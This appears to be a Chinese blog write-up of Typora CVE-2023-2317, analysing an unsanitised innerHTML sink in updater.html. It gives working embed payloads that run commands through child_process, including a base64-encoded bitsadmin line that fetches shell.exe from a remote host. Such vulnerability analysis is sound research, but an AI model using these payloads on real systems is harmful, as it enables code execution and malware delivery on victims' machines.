Typora远程代码执行漏洞 - CVE-2023-2317
Typora - CVE-2023-2317
简介
Typora一个常用的markdown编辑器,在1.6.7之前存在XSS漏洞,可以通过传入参数触发来加载恶意的JavaScript代码
分析
在typora的安装目录下的resource目录下,updater.html。
先用正则从URL中提取一些参数来更新内容,分别获得curVersion
, newVersion
,releaseNoteLink
,hideAutoUpdates
和labels
这五个参数的值.其中,releaseNoteLink和labels是经过URL编码的,所以需要用decodeURIComponent函数来解码。
接着用JSON.parse来将labels变量转化为数组,因为包含了文本标签所以就可以显示在网页上面。然后用选择器document.querySelector("#sum")
来找到id为sum
的元素,他的值由数组中第四个和第五个标签拼接起来的字符串替代
再用document.querySelectorAll("[data-label]")
找到并同时去遍历所有的data-label
属性的元素,值则为对应索引的标签
可以看到他直接使用了dom.innerHTML
进行修改,传参未经任何的转移过滤,就会有执行恶意js的可能。
利用
构造poc,原始如下:atob函数中的字符串先base64
<embed style="height:0;" src="typora://app/typemark/updater/updater.html?curVersion=110&newVersion=110&releaseNoteLink=110&hideAutoUpdates=false&labels=["","","<svg/onload=top.eval(atob('reqnode('child_process').exec('calc')'))></svg>","","",""]">
然后因为这里只是编码参数,所以对labels=[]中的内容进行URL编码时要使用encodeURLCompoent
,否则不生效
将poc以html类型写入,保存之后每次加载这个文件就会触发计算器。
<embed style="height:0;" src="typora://app/typemark/updater/updater.html?curVersion=110&newVersion=110&releaseNoteLink=110&hideAutoUpdates=false&labels=[%5B%22%22%2C%22%22%2C%22%3Csvg%2Fonload%3Dtop.eval(atob('cmVxbm9kZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWMoJ2NhbGMnKQ%3D%3D'))%3E%3C%2Fsvg%3E%22%2C%22%22%2C%22%22%2C%22%22%5D%22%3E]">
去尝试了一下用bitsadmin拉🐎子下来上线,但寄了
<embed style="height:0;" src="typora://app/typemark/updater/updater.html?curVersion=110&newVersion=110&releaseNoteLink=110&hideAutoUpdates=false&labels=[%22%22%2C%22%22%2C%22%3Csvg%2Fonload%3Dtop.eval(atob('cmVxbm9kZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWMoJ2JpdHNhZG1pbiAvdHJhbnNmZXIgdGVzdCBodHRwOi8vMTkyLjE2OC4xMzAuMTo1NTU1L3NoZWxsLmV4ZSBDOlxVc2Vyc1x3ZW5keVxEZXNrdG9wXDExMC5leGUnKQ%3D%3D'))%3E%3C%2Fsvg%3E%22%2C%22%22%2C%22%22%2C%22%22]">
版本测试
1.2.3 直接未响应,加载一会就回闪退
其他版本的测试就没有尝试了,有兴趣的这边请👉传送门